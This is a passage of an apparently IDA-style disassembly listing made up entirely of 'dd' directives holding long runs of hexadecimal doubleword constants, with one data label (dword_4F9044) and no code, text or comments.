		dd 0DF313F47h, 0BFA57468h, 4FD64890h, 0F2434FEAh, 0B5C220EFh
		dd 0CF05BA1Ah, 0AA1BD554h, 3516CBD6h, 0AB2C5FD8h, 0B5072745h
		dd 1695E2FFh, 0EF889750h, 7003955Ah, 4C0B0BF1h,	5A5D5059h
		dd 14D65EA8h, 0B54E378Ah, 62FAEF8Fh, 885AD1FFh,	7D2886B5h
		dd 0B263CF0Bh, 1AA2546Fh, 0C45C1BE8h, 8FBB0A34h, 27031C89h
		dd 19BAF72Fh, 421CAC0h,	0A63F9028h, 2901C895h, 417DBADEh
		dd 876043DFh, 81CCB2C1h, 2D70C78Dh, 21EC47E8h, 1E51B767h
		dd 3AA2F1AFh, 4E9CBECEh, 81ADC042h, 703E99F1h, 0E1E9F05Fh
		dd 10E4728h, 0C10BF9EBh, 0A0FB2943h, 5F6708FCh,	0ECE4F01Eh
		dd 0FC6ABEA1h, 81FB4BC3h, 253A2D07h, 0BFF32EBCh, 0F4D5B7Ch
		dd 568E5855h, 964E5E62h, 0BA22DB42h, 0CC8488B2h, 23BB0017h
		dd 181EBF25h, 7606EBC1h, 67305F24h, 7389905Dh, 31CB287Eh
		dd 1565F96h, 6C17368Ch,	2C062013h, 10495582h, 7F4CC73Ch
		dd 53F0AFEh, 320B9F21h,	97924E2Dh, 0A3A3E671h, 422C381Fh
		dd 1048960Bh, 2714F86Dh, 9D587087h, 4225FCB7h, 0A7905866h
		dd 180BBBC9h, 72D909C0h, 23A82CDEh, 3D8A6873h, 0F832DD16h
		dd 44ACE45Dh, 0B47B84Fh, 90463DE9h, 3D3C9DBBh, 0B4FA7504h
		dd 6176256Bh, 37546861h, 91AA8C6Ah, 0B0B24B40h,	0D1BFA311h
		dd 1A293539h, 679AC410h, 0EA351D1Ch, 0F2FA64C5h, 2F68829Ah
		dd 62497623h, 145F4FF7h, 74A3A2C0h, 0EAB302FFh,	49D7D3F6h
		dd 0CBCC83B1h, 0FD0CD719h, 27E93E5Eh, 5020FC23h, 4E5C9068h
		dd 2A59D43Ch, 4976C5E3h, 0CC090F0h, 268C80Fh, 357BA474h
		dd 0AA1EBBCEh, 0C601F412h, 47886794h, 63A5AD40h, 0F8175E2Bh
		dd 1C302612h, 4C4CE3Fh,	888BF303h, 0D101C114h, 5CC4EF05h
		dd 0F242ADAEh, 1F52ABCh, 67CA23B4h, 0E0812B09h,	0FB2BC795h
		dd 0D8FEAA64h, 7E97B71Fh, 6F6372C1h, 0C4A2EC95h, 89023B55h
		dd 0F1D55AD7h, 0DB7609C5h, 87C25C76h, 0E9A49822h, 0B22158F8h
		dd 0DD35ED80h, 41B782DAh, 0BE3A019Fh, 595FFE21h, 2DA18B7Fh
		dd 0B6A0C0C7h, 50D1EE09h, 0BCF7BAAh, 31D379D7h,	670837D1h
		dd 423C2461h, 0A0F52E7h, 971768C7h, 77B4D7E0h, 138F5F86h
		dd 0FFE55354h, 6CF97C6Dh, 852CEC3Fh, 4FF1C3E9h,	553806Bh
		dd 0A44B6777h, 52F91E1h, 3778D87Bh, 0EAC8D4B4h,	8981E0BDh
		dd 628168C3h, 908B1BFAh, 5D6F2CB3h, 3AEB01CBh, 0A77CF254h
		dd 17B6F7EBh, 50DDBD0Bh, 37007D8Fh, 8BE527EDh, 2F21C72Ch
		dd 59FA908h, 856DB353h,	23C1EF81h, 56535D88h, 7030CA40h
		dd 0EEBF2DE3h, 6F89DFE1h, 2B681598h, 8F92880h, 0D01DE707h
		dd 0CD4B78BFh, 0D9E25504h, 0B28B1713h, 1F21C4Ch, 1F19FD27h
		dd 21D83152h, 37B7200Fh, 67E5474Fh, 8554916Ah, 40E36ADDh
		dd 0C50AEDC4h, 36F60BD1h, 68161877h, 166E551Bh,	0B485877Dh
		dd 85A9E817h, 25AC1EBEh, 3DB78FCDh, 705E252Fh, 0B7F6B56Dh
		dd 5761BAC2h, 6EED645Eh, 26B93320h, 1644F569h, 0C5882076h
		dd 2D0B7D1Dh, 0A1DDF717h, 0BE78AE6h, 0AC849B41h, 0E47C2D00h
		dd 7462562Dh, 0C1712F16h, 0F0310E31h, 0E820343Eh, 0ADAC4EE5h
		dd 236859E0h, 0E63C46BFh, 308997E9h, 620512FDh,	0C246F4A3h
		dd 81003BC7h, 2D5F63E2h, 74D439A6h, 4C349CB9h, 0E896FD2Dh
		dd 7F3341C5h, 12DDB7F4h, 3105BB26h, 422D5872h, 0D7435F0Bh
		dd 0C2172ACEh, 18A8302Ah, 0E6673B01h, 7FCBE94Fh, 0D5080507h
		dd 10D96A77h, 0B4F582Dh, 0D6F71C24h, 44BDC750h,	0D5EAB7AFh
		dd 0C012EA77h, 0B2346229h, 7CB42525h, 801665F8h, 80EE01EFh
		dd 30B3C747h, 55E990C9h, 4D8AEE8h, 9C66A924h, 3AAD6308h
		dd 0D109C192h, 2F193A54h, 93F39661h, 3F2F4A06h,	42C53Ah
		dd 0AE6B0BCDh, 0D512F734h, 0DF07E5D1h, 0EE52948h, 421A7781h
		dd 5F5ECC06h, 2CA835F8h, 487AF283h, 82554C73h, 405B17C1h
		dd 33103EB1h, 0DE605A7Eh, 84CB11Dh, 606BF2CAh, 7CF1A72Ah
		dd 15EFD0Eh, 6B41B4B8h,	954BC6Ah, 0A30D8F1h, 0B07DF22h
		dd 0CAB5C2FEh, 5DF4D009h, 77F5ABA7h, 0C7EFFC0Ah, 0DF754201h
		dd 0F8215B51h, 0CB5CFC2Fh, 53EC2764h, 753DAB62h, 2F306CD2h
		dd 75EF431Bh, 0FD2A032Eh, 411E2805h, 8539C28Dh,	270F3544h
		dd 66B0E6CEh, 0ED37476Dh, 2549AC6Bh, 686F605Bh,	0B22A5FB1h
		dd 5F939AC5h, 0A16B9771h, 1E98E9C8h, 0A46C317Fh, 0F6810099h
		dd 44471343h, 8112FE20h, 0F41964BBh, 434155BEh,	5A272D3Dh
		dd 0EAC050F4h, 3B306AF4h, 50780152h, 0BD5D08C2h, 2C3838B1h
		dd 0A2BA0207h, 7D6AEF55h, 95AC2574h, 0E8507220h, 509378C4h
		dd 5053FB31h, 97C3B7C8h, 0D02481DFh, 42DA5B5Ah,	0FE8AA381h
		dd 5EFA8CFh, 0DF9C9066h, 9D483BE0h, 881CF704h, 8BE7BDFDh
		dd 0EF6F1154h, 3B47F12Ah, 47671B6h, 0FE556CC1h,	0A913BF31h
		dd 0AD5852C3h, 5B15CAEBh, 0EB4457ABh, 51086700h, 2422C8B9h
		dd 12922694h, 9CF2AF19h, 0FAAF8BDFh, 1AF5985Fh,	1E3B973Ah
		dd 3EB7FAD9h, 5C2581A2h, 0D0084351h, 0F8092D07h, 5D01E25Fh
		dd 0DD200F6Ch, 8F094848h, 0A5ABD22Ch, 0C9E265FFh, 0DBCE63A0h
		dd 8490FDA1h, 2AE8405Bh, 547B72B6h, 5C2D574Ch, 40E25FBCh
		dd 0F3E92999h, 722DB92Dh, 946BEB81h, 98BA8Eh, 5BDA40C1h
		dd 0FE2C14BDh, 41C24EA8h, 5374C5Ah, 0E5297079h,	0E02E8781h
		dd 97B2E846h, 592D660Fh, 5445D6Ch, 0F8EE09D2h, 468D3F86h
		dd 7AE13F7Fh, 0A49EE4DCh, 94DFAD14h, 0CD0E6BC7h, 81124054h
		dd 6B501602h, 25AAFEF1h, 0E9417FDEh, 0CD2AD27Ah, 0F06AE063h
		dd 3EE53251h, 0BDB6A307h, 0D74C5E0Fh, 7C1DDEDh,	334D27ADh
		dd 0A81F6F01h, 0E6309F08h, 33C13E97h, 8E2A14C9h, 0F9F9A53Ah
		dd 677DC641h, 45DD2769h, 0E1F0BFE3h, 3E49770Ah,	0A7BD5EE9h
		dd 0D547287Ah, 11960C3Bh, 42A41B5Dh, 38B77D18h,	24EB90C0h
		dd 130E1D39h, 5221D877h, 6D3B82C1h, 806F2F87h, 152BE383h
		dd 18001A4Ah, 10082ED8h, 6A492F68h, 0E2533FA5h,	5535822h
		dd 2D7F0F7Bh, 7ECAF5EEh, 0D87FAB39h, 4E4F8F05h,	0A2C5B6FCh
		dd 98CCEFADh, 29A14035h, 0C0AFF54Ah, 0BE39847Ch, 7F103D4Fh
		dd 12B64807h, 0A62741FCh, 0A980C39Eh, 0A922E256h, 6BF37FEFh
		dd 7043B292h, 0C1FC2059h, 173243BBh, 3B70A296h,	0E9F35A59h
		dd 28E8A316h, 0B80150DCh, 45E038B3h, 127B0FE9h,	3F7BBB4h
		dd 257D680Bh, 0AC71B87Dh, 0C651B741h, 7DA70560h, 1510AB9h
		dd 9072DF0h, 5541BAE9h
		dd 0EF6C7A5Ch, 0A03E58DAh, 10B0CC8h, 34B4DDD6h,	13EF2D5Fh
		dd 70F08EAh, 385A5809h,	80378A7Ah, 2EF75F33h, 1DF20EAh
		dd 192531F9h, 85C4FD59h, 0B894EDB9h, 75052F16h,	58CC89h
		dd 0F619282Dh, 1210C30Ah, 3CD9125Eh, 0B08F902h,	0EADC20F7h
		dd 4FBA6AF2h, 0ED3AB15Ch, 31C0F3CDh, 0B841BEE9h, 4BB15747h
		dd 279C3CB4h, 17F552F2h, 2FBA118h, 0F6A37393h, 94B02D48h
		dd 21128656h, 8CAA58C2h, 0E918FA55h, 680E0ACCh,	6E1A9745h
		dd 134B3E8Fh, 7850F95Eh, 12E59205h, 0BB997F84h,	5AAC69B0h
		dd 7234A80Ah, 1636A25h,	1C72E9A1h, 38F75E40h, 65704877h
		dd 0E6E32900h, 0E9D689F8h, 61F57E5Ah, 0AA26B9DBh, 1839EE2Ah
		dd 6889F02Fh, 5121AB25h, 476B88F4h, 8509DA20h, 0DF2CCA2Dh
		dd 608EEA8h, 26A621E9h,	770F4079h, 6697E7F8h, 255D4B05h
		dd 15A25DEBh, 4CF73080h, 731FB053h, 0EEF84E50h,	701C6B0Bh
		dd 9D685FA4h, 7E79CE5Bh, 496E9E51h, 29F5EDB3h, 9A84828Dh
		dd 0DF1E6A64h, 2E8F42C0h, 0E7C076ABh, 625BAF1Ch, 4DCA6EC0h
		dd 0C296744h, 67090091h, 2C4EF0E9h, 0FEB3AB77h,	0BA5A0295h
		dd 2F5F16F8h, 1C863540h, 28720324h, 7C1FE600h, 4F14E93Ch
		dd 35AE3856h, 0BC378E03h, 9024251Ah, 5F687F40h,	80BE8D66h
		dd 41C71162h, 0BEF5F9E9h, 0BCAA9225h, 8C4D9FAEh, 0A83E1A03h
		dd 69D4B87Ah, 2FD30B6h,	0FC53EAE3h, 0D8983EB1h,	3ABD1A70h
		dd 3EF7102h, 0F4361168h, 108F6022h, 810015F8h, 0D1586BC5h
		dd 0A2DD2976h, 5B0802C0h, 87A0C183h, 0CAC4FDF2h, 0D5930EDDh
		dd 5B31FC0Bh, 0BB5381B5h, 3B5E3745h, 16135AB0h,	0EB499D73h
		dd 586A6B09h, 0EB519F0Bh, 0A6F69197h, 0DD2FFA16h, 0F449F50Bh
		dd 0D8C04163h, 3D72DDBFh, 7F2E9D6Dh, 0B017C761h, 0B0B06EC9h
		dd 2B1D4105h, 4B1715B8h, 7C94A4D2h, 5AFE7D7Eh, 28CBEB7h
		dd 0E91C5F21h, 7C654407h, 0A73F6B29h, 0B583809Dh, 7B15163h
		dd 3E1C0B2h, 53B63180h,	0F9DB30B7h, 8F20A3B8h, 0B8B11E93h
		dd 89061EC0h, 161A4694h, 7D44B27Dh, 0FE684EB0h,	5D953A70h
		dd 554AFD1Ch, 0FC3A428Dh, 63F8993Dh, 38F5556Eh,	5F1AFD10h
		dd 5D84D4B8h, 4537BAE8h, 9051F492h, 3D1ACEEBh, 55AA8F42h
		dd 2516A088h, 2272669h,	5EAA2846h, 0D05B934Dh, 75E6E2h
		dd 0EB088583h, 70F1EC30h, 0BDE25B84h, 252DC3h, 3A7DBE5Dh
		dd 0E63F7A08h, 8114978Ah, 51EA8654h, 3F68520Bh,	0C5B05D49h
		dd 0B5A305Fh, 0D13EE2E8h, 4DB0CD28h, 8D47B914h,	0C3AE945Ah
		dd 57767F28h, 0C000E6B1h, 0D8F604E0h, 24C800FEh, 51322CEAh
		dd 5D9541B5h, 0C207F785h, 7D0F436Ch, 0C9E848Ch,	59EB3828h
		dd 22DBF697h, 0D06AD488h, 0CD7ACE82h, 0EB2D9FDAh, 0C557DE02h
		dd 9540EA58h, 2C2D5AD0h, 0B1F2740h, 0F09DB970h,	0AF565AC2h
		dd 25384F54h, 13C6F464h, 63030E77h, 0C543F265h,	93E4FFC3h
		dd 4E3C7BBAh, 8884EF50h, 0BE560805h, 0CEC522EEh, 0CBE7205Dh
		dd 48292A68h, 1A06E20Eh, 18226012h, 9A698D03h, 96C7E934h
		dd 4B58B7ADh, 3F6E3849h, 98111652h, 680234E2h, 5EDB3EE5h
		dd 0B03E4C5Bh, 0B9C5A357h, 550B2CF9h, 728A02FFh, 8E72760Ah
		dd 615D0881h, 0DDE31545h, 0DB042E4Ch, 17910C03h, 0BD00AE7Eh
		dd 0EA7E129Bh, 0F1CD8106h, 93AB56Bh, 7D4D85E5h,	2E0FCFF0h
		dd 8034E908h, 0BD2650CEh, 1BEEEC20h, 0FA3616B0h, 0C730CBE0h
		dd 0D0F94F5Ah, 38C83100h, 5EF529A0h, 33A85EC3h,	30EA84D5h
		dd 0BFB850D4h, 3B616200h, 4E630D48h, 3521008Ch,	69101552h
		dd 345247E9h, 0D8F54E84h, 0F310BD32h, 0FA311D6Fh, 28FC56D5h
		dd 1A2CB3ADh, 8351A509h, 0ED160CBFh, 0C29C56E1h, 45D4D7C9h
		dd 1802986Ah, 0C04E3707h, 287C7975h, 0A8E939F9h, 0EE6EB256h
		dd 7C6258C4h, 57EA36D8h, 39F2DD3Fh, 58EC4F75h, 509192A5h
		dd 9F16FE5Dh, 7429C7BFh, 0C2F91709h, 5B8011D0h,	0B3853F7Bh
		dd 0B4025D9Fh, 69DCAF17h, 23E3488h, 722C9CB7h, 0ECA0E0F7h
		dd 39DEB5D4h, 0A485C59h, 9EB37AE9h, 93E56BC2h, 0C27AD62Fh
		dd 1057FCE6h, 95F068C0h, 2C793DF2h, 0E1355C95h,	2ED413E9h
		dd 575C4771h, 1E69AB2Bh, 425C189Ch, 0EF011258h,	1F436CD5h
		dd 40FC0AA2h, 7FB8E681h, 38901DEBh, 26AA4E4Fh, 3010CB4h
		dd 0E9DCBF99h, 0A66B4660h, 549C849Bh, 4AD4BFEDh, 0EE592B04h
		dd 388CC701h, 0CE84DFBBh, 2768FDA0h, 0B5983919h, 1283BD8Eh
		dd 0A3169658h, 0E4271029h, 0D1DDF70Bh, 490A2702h, 7E02D509h
		dd 5FF103BDh, 0ED0AE827h, 0FBCB9F8Fh, 686EDC97h, 595D2325h
		dd 3788018h, 0D9F773ABh, 2D61B0C2h, 708B701Ah, 7E4BF616h
		dd 80E59001h, 4F87E908h, 0A2DAFDB3h, 40D1FD34h,	0EEB077E9h
		dd 0A8A65FFEh, 0E52FAC2Fh, 21DDEBADh, 4BA5E98Dh, 58864FB0h
		dd 4F1F2F0Dh, 9B96474Eh, 0DCBBF184h, 6841B727h,	0B01DD2CFh
		dd 809B62C4h, 80130FB3h, 1DEA72F3h, 9CED813Fh, 0A533AEE9h
		dd 822F566Fh, 52710385h, 309BD155h, 6BD9E318h, 0AE84824Ah
		dd 5EDD82C2h, 1A7D2593h, 3E348ECh, 9A599F61h, 6375D982h
		dd 0E0F4722Fh, 7460822Dh, 4382B714h, 5385EC3Eh,	5B501042h
		dd 0A9414058h, 6427012Eh, 0FE2D9425h, 707E960Ch, 0D7591C32h
		dd 5D254D79h, 0CF89B6CFh, 0D5D91A08h, 0FC95B646h, 2B485082h
		dd 0D46888BEh, 0D6FCD10Bh, 0C0F1733Dh, 0CCE33A29h, 0D2E7B94Bh
		dd 0C12B67AAh, 74B01BE9h, 77136E6Eh, 744B12C1h,	681BC05Dh
		dd 0CC524EA2h, 28494AA2h, 52A1827Dh, 6AC56036h,	0DEF780CEh
		dd 505304DEh, 9168FF42h, 0A1104606h, 73ECD75Fh,	8190946Bh
		dd 6711FBCFh, 622702Bh,	0C20B4DB9h, 2D389144h, 5FA7FC2Ah
		dd 0E9C23CA2h, 1C5735C8h, 2FBF7252h, 78D6284Eh,	0E26B8801h
		dd 0EB3E3174h, 814F7904h, 135DDE80h, 18FDF8E5h,	4E5C3AE9h
		dd 66485704h, 71F51219h, 8B30E6EAh, 2D866556h, 95F3489h
		dd 7772899Bh, 84582309h, 69E38019h, 5BA74EBAh, 7549EA53h
		dd 0CD55E53Ah, 0AB661795h, 0FCB31090h, 0AEFF4EFEh, 0F65E729Eh
		dd 0C36C60E7h, 94FDEE88h, 0A8921782h, 0DFFE4B0Fh, 0B1E909C6h
		dd 0D2042725h, 5F40E2D0h, 4ED9016h, 88ABF0F2h, 0C081FF4Ah
		dd 777CD831h, 0C0AA06D3h, 0ED4E5532h, 0D0A47F95h, 0C0F252A0h
		dd 0D93EB502h, 425D017Ah, 0A2080B97h, 5527FF9Bh, 0EB70CBF4h
		dd 0C45C4B21h, 4107E87Dh, 5F470808h, 302AE911h,	8521C225h
		dd 89086968h, 66F137EDh, 26FEB5BCh, 6063E950h, 64C2B908h
		dd 0A59E67FEh, 0EC92338Bh, 0F7989F88h, 9E64A1E9h, 33CE34C7h
		dd 0ED31FF4Fh, 0D34CDE89h, 10681256h, 5E9E0013h, 5418FBDh
		dd 6FD76A51h, 825A48E8h, 0D9A0AB5Fh, 7021DB9h, 600BBE0h
		dd 3150E11Eh, 4EF759CBh, 1C5CC8D3h, 6BDC3B18h, 92C710Ch
		dd 32E996E0h, 0F32FD2DCh, 6F83C7A4h, 93CABBF2h,	13BDE340h
		dd 33BDC2Ch, 8730C255h,	0B9801896h, 10907021h, 8E324A5Bh
		dd 668BF552h, 19509EFDh, 162DE7E9h, 1592C09h, 1FDF7F4Eh
		dd 3332E0D3h, 0BD5A110h, 7658C629h, 6D024B41h, 0ABC1FE87h
		dd 0CE69A06Eh, 0D325F50Bh, 0E908F54Bh, 222F07h,	10FF2761h
		dd 7BC7832Fh, 0C4C62AFFh, 0CDD348F6h, 0AC440B4Bh, 0FD5DEBF0h
		dd 0F1201E72h, 0ECDF8B58h, 0D9949523h, 92B6F204h, 88FA0937h
		dd 5E5E6821h, 0B5E130AEh, 0E4B5FEFAh, 6FDF003Ah, 432506F1h
		dd 0ADE6D18h, 1D0A6B81h, 32C95805h, 4685CFAh, 0BE1AF63Ch
		dd 5201DAA3h, 9951D4Ah
dword_4F9044	dd 0DC026BF0h, 0F129F9E9h, 0AE681624h, 0DF5E4CC2h, 7125BF51h
		dd 996870F2h, 0EBCC114Bh, 286F4EB0h, 5E41F2B3h,	6CE3F03Eh
		dd 0E988A65Eh, 0BA6344DAh, 3717D10Ch, 766D6C7Fh, 0DE266054h
		dd 1F04353Ch, 0CE074E7Dh, 6CD741DCh, 557EF660h,	21361742h
		dd 750909F2h, 0EA04BB52h, 93D50B7h, 88650FEh, 0B6E95805h
		dd 2247AEFEh, 450603F2h, 50EA2AAAh, 88F190F2h, 0B91B9D4h
		dd 21472470h, 0FF15E075h, 5C902508h, 4260DB50h,	7D1CFB60h
		dd 0BE76BF26h, 1344020Eh, 936B8AAFh, 8368BC90h,	1130BF5Bh
		dd 1F0B1571h, 0A28B1EE9h, 0CC7397DDh, 0EDDCB5E8h, 0AB417727h
		dd 0B3F92F8Bh, 0EF1A0BC4h, 24929469h, 1F2BE56h,	16C2D084h
		dd 1D830BAAh, 544BE678h, 0A10AB0FCh, 0D83561h, 3A2BE8E3h
		dd 4927E945h, 61E6DE2Eh, 0C62F4B39h, 6F6ED880h,	94B22E1h
		dd 0F29EAh, 51AFE2A4h, 4729902Ch, 0FDB99E3Ah, 85F67F4Bh
		dd 0DBAF6658h, 0E9F64A39h, 5DF90E12h, 0AF5D92A7h, 80EB0C95h
		dd 8AFBC3F2h, 3F927E95h, 0D680A4A0h, 142E34B4h,	0E004304Dh
		dd 208024E8h, 7E6407EAh, 40E92F1Eh, 0EEB79480h,	0F8E0CD04h
		dd 9EFA2C74h, 76253694h, 5D0CB85Bh, 9C0C6E0Ch, 0E5431009h
		dd 7AC3D289h, 57E89FE9h, 0CF9807E3h, 5CFBFC0Bh,	9DC1502Ch
		dd 7749F671h, 4C57EE0Bh, 7B94A43h, 7FC8B38Dh, 0BD764E69h
		dd 0A98E0845h, 6B601A6Fh, 290DED18h, 684CDE9Dh,	9F08200Ch
		dd 0CD8BFC5Ch, 3544D5ABh, 4C122AF7h, 0FD4B4EFDh, 0AC08F517h
		dd 0D5F70D0Fh, 0BEFD4004h, 127F5403h, 45B6F025h, 4F893808h
		dd 2E7522D1h, 36B7616Eh, 0B26B2D96h, 830A063Ch,	60124DE9h
		dd 0EAC42405h, 2D018C11h, 7231290Bh, 85FAC801h,	31ED5907h
		dd 3EC0FC8Bh, 66654E68h, 0D3B8DB15h, 3D05A05Fh,	4BDF4E0h
		dd 540FC496h, 0BD5551A0h, 0DA2C6144h, 0F6026C75h, 77D169AFh
		dd 0D7495754h, 2C128851h, 95A010BCh, 3359020Eh,	787939A5h
		dd 80C80538h, 0C1316D34h, 4FFCBBE9h, 52A5CCFEh,	84222959h
		dd 55ED28D2h, 0EC80B00Bh, 0BECF8CF0h, 6809D001h, 2D444945h
		dd 0FF4C8639h, 6D1F628h, 0D4025877h, 0FBE9C4FEh, 853E68EBh
		dd 921A9432h, 0B2CCD169h, 6EBA01FDh, 0AC7E44C1h, 0EBE4F8Ch
		dd 65D2A793h, 0FFF99559h, 0C958EA2Eh, 0FFD8E284h, 0AA4ABFCBh
		dd 0D6D27004h, 0F62D4800h, 0E84E5C95h, 2310E5E8h, 0EA800E6Eh
		dd 3BC7E0Fh, 0FE58B353h, 0F6041FCBh, 5B3FFBD3h,	25E0F39Ch
		dd 0FC404675h, 0E97609EBh, 6AE823E6h, 0E69D2D5Bh, 68344092h
		dd 9845F12Fh, 0E0A0E8Ah, 0F3817E54h, 82DE9662h,	497AC25Fh
		dd 0B42C8EAAh, 628BBE04h, 0F650C0F1h, 442D526Fh, 10C8F25h
		dd 1D827AB6h, 82A2C56Ah, 5B040591h, 59E85BB5h, 56E8C00Bh
		dd 3A027468h, 135E353Eh, 3CFD67A9h, 9C07DB48h, 0D52D1A62h
		dd 5E00F816h, 6E6539AFh, 55964222h, 0D9F56309h,	1E5F69E8h
		dd 0B4E91331h, 0FC0CD066h, 307BCC43h, 0DCECE82Dh, 40187A2Eh
		dd 7C95E1F7h, 16D982CDh, 78616702h, 29616B87h, 0E4074258h
		dd 24FCD4C9h, 0ADEDAA8Dh, 68400302h, 0C2D12A0Dh, 21693980h
		dd 4BA8E97Dh, 8480B2C9h, 5C034BD1h, 0B6E11A05h,	2D5E7056h
		dd 864407A2h, 8A92F07Ch, 0F9A8574Ah, 3A44B4B0h,	0B0BF011Ah
		dd 0AB62FD0Bh, 74081656h, 1DE2D28h, 8F04A00Fh, 37358411h
		dd 0F602D0Fh, 3D05550Bh, 47FA2612h, 76410AFh, 0AC02974Ch
		dd 0F713D455h, 0AAE93F60h, 93B6B056h, 2D108BAFh, 0BB9B4064h
		dd 781B1655h, 7AA00C6Ah, 0E80F2514h, 440B3C09h,	0AB161412h
		dd 0E2AF1285h, 0FBF5A118h, 44BDCE45h, 0DC3DABD7h, 5174348Ch
		dd 57025568h, 3959E8BFh, 8A5E079h, 650F4837h, 0C948A412h
		dd 1E50E007h, 0DAF1A7BDh, 3F1C5483h, 0CE92F369h, 0DB66E49Bh
		dd 5E2D381Ch, 27857C6Fh, 0BF01DAFCh, 0A7A3C4B3h, 1ABB047Bh
		dd 0F02807C8h, 51952072h, 0DB2E4273h, 9CEE6DFh,	520351B6h
		dd 70B3962h, 1341AB78h,	0CE4E12C3h, 91A3BB58h, 7CD5E9B1h
		dd 2DC14FF9h, 6079EDAEh, 0ACC2AFD7h, 0F0B644A3h, 560B1A7Ah
		dd 6B7D283Ah, 0C231F2D6h, 0C158FF83h, 0F52F0DB1h, 0AD29D885h
		dd 817165Ah, 56A611ACh,	0E15AC85Bh, 0E5F0080Ah,	0AA4C69CFh
		dd 0D52D758Ah, 0E5D5258Bh, 9DF0BB70h, 66886FFBh, 0F4444FD3h
		dd 2930AEFEh, 5F458C99h, 12EEA8F9h, 0B3B8D631h,	0C05F2DC9h
		dd 90F0299Eh, 74552F88h, 8B730F22h, 782E5FEh, 74F2854Eh
		dd 0CA932783h, 51F0DAC2h, 2CFC5BBFh, 0BBC61435h, 1D3C2B81h
		dd 0C0B4F71Fh, 1E7EB055h, 0EA5C687Dh, 700E7346h, 0C109AC49h
		dd 0EE6D08C2h, 0C04E42CAh, 60ED51Dh, 8DE96B5Fh,	0ECA06203h
		dd 5601505Ah, 88685751h, 49CA3467h, 10DC7026h, 6054BF3Dh
		dd 0CCE686A0h, 2ACD7514h, 30D1CE8h, 1BEE0E53h, 989125CEh
		dd 0B0B5A007h, 1E779D0Ah, 0F514C321h, 2AD35107h, 0CF0DDA01h
		dd 0D670A874h, 0D40509D0h, 0B002FE7Ch, 0F2094D4Bh, 9844E85h
		dd 49D62D65h, 0C55AADB8h, 201183BCh, 72763593h,	6390501h
		dd 77BEE94Dh, 50E2FF3Ch, 6931F457h, 0C58B6B7Ch,	0BF7D5225h
		dd 0AF2083DEh, 30B5D4BAh, 0CA51DA14h, 2FA2DF41h, 0CB471B54h
		dd 1C581AFCh, 0D8D03166h, 0FC30A5Ah, 89C0B73Dh,	7947EF68h
		dd 0F2E109ABh, 0DE304302h, 84EE1AE0h, 9E3606CAh, 0FF4BF710h
		dd 70960762h, 25A49E82h, 5E02676h, 7D9F2CDCh, 832DB069h
		dd 0F1EFE407h, 0D3E36B84h, 0E7EDE2D2h, 2B3DC3A0h, 0ED01F08Ah
		dd 5AD3012Bh, 7E4E4617h, 0CA0D8600h, 4819CF09h,	641670F7h
		dd 9217A336h, 354D3A05h, 50BAB3F4h, 0BD5A88FEh,	0BD8E1853h
		dd 9D757028h, 0E962D6D9h, 689D7D8h, 2E829CFFh, 8EFCBBE9h
		dd 7EE9DE01h, 0C7BA7743h, 38A54341h, 0A4AB9235h, 0F7000D82h
		dd 2D19987Ch, 5930AF8Ch, 834C0DE2h, 0A4E35D05h,	0D279E085h
		dd 798D8B9Dh, 60F5E9E3h, 5D16E9DBh, 53813A51h, 2B6C9E68h
		dd 0BA5EFA8Ah, 0BD27562h, 0D09F14F0h, 0D005B6FFh, 2DBEF9F7h
		dd 80E16158h, 8C01055Bh, 29701A56h, 7472DC8h, 0B6057C9h
		dd 6330E959h, 0B753310Eh, 0C7A3B5DBh, 0AA9B8003h, 26A063Bh
		dd 0FA2025C7h, 0F626C15Bh, 46F6BAA5h, 256FEA70h, 0ECD9D030h
		dd 68A5E9C2h, 13A1BEF3h, 817EF073h, 61760D82h, 46E12A1Fh
		dd 84755D2Bh, 84D1533Ch, 882CD134h, 54CB6FC3h, 2738EB1Ch
		dd 0FE3916D5h, 1C4965Ch, 0A6D36BFh, 65173029h, 1D184A0Bh
		dd 21027521h, 5C091FF6h, 410D6DF6h, 92187EFh, 6AA9B13Ah
		dd 8560C03Dh, 3A7F82ABh, 0F2E44041h, 487C2E04h,	595103F5h
		dd 324C317Bh, 1400211h,	5F491A47h, 0F4843E49h, 0E917A00Fh
		dd 0D2277537h, 0ECD23180h, 83F25F01h, 870523D2h, 6A278EF1h
		dd 41655EBFh, 6CE0DFF2h, 0DD7EADD5h, 0D9B0098Ch, 4667710Eh
		dd 6F10D601h, 0D0626008h, 0FC161230h, 82CD0FEh,	2CC0E909h
		dd 0F80C1457h, 36124D80h, 93A4E76h, 8A80D11Dh, 410AF781h
		dd 8945D717h, 77E9E205h, 9C54D292h, 983F30E7h, 52C6F165h
		dd 7C6B583Bh, 0B8F9BC06h, 98DC3194h, 4E71F4E4h,	1832466Fh
		dd 0CD06396Dh, 29D11268h, 24CA770Ch, 38975BFBh,	0C8B5B689h
		dd 427F27Dh, 0BE14E20Ch, 86A1EB29h, 830EF53Eh, 510D0974h
		dd 0C91E4135h, 585A0801h, 6809A676h, 0B3C64C39h, 7AD0902Eh
		dd 0AAB15187h, 0ADD2AD9Eh, 4A0668E4h, 71C28C1Bh, 70BB3340h
		dd 63E0F99h, 698BDD29h,	2BF84F8h, 40D15D04h, 1740F770h
		dd 0FF1D3011h, 49ECC8C0h
		dd 2F132DE9h, 34258A66h, 0EAF5D9A6h, 0AC661C9Ch, 370E08FBh
		dd 7C23642Dh, 0B2CE3F72h, 0A703A116h, 14C33EF1h, 5EE3EF6Fh
		dd 76C42AEAh, 0CAE90585h, 0ABD9BBB5h, 0CC40123Ah, 3770F09Bh
		dd 526D7EB5h, 0F0517E77h, 553DB68h, 52E9134Ah, 8B3ECAF1h
		dd 0B0A84F3Fh, 92C95DA8h, 0F06044F8h, 20FB29Ch,	2A3F12B9h
		dd 18E00977h, 0F0A640BFh, 205E681Ch, 173C772Dh,	7EBC1DB2h
		dd 0D73B65EFh, 43EF4ED2h, 0C5F3A50Ah, 0BBD7EACEh, 4BE9768Ch
		dd 0E64CE1C6h, 0FE0614FFh, 27CF946Ah, 0EE848601h, 1ED01FEh
		dd 2C340680h, 4E828B6h,	60EB59E8h, 2F3A0FEh, 802E4554h
		dd 11A7B951h, 40BD3B23h, 78411E3Eh, 0BEA90E8h, 5F0B52C0h
		dd 8B83AD61h, 78DDE9FEh, 18609DFDh, 3A204B31h, 7F470439h
		dd 0F1D17CA8h, 4E65B84Fh, 0E712AEBCh, 89CCAAE6h, 0E3281413h
		dd 82749B7Dh, 0C795E075h, 4C81E80Bh, 0A61FCCFh,	0FB04F8E7h
		dd 4EDB844Ch, 0B1C375C4h, 0C7200FDFh, 5832E1Ah,	1E1448Ah
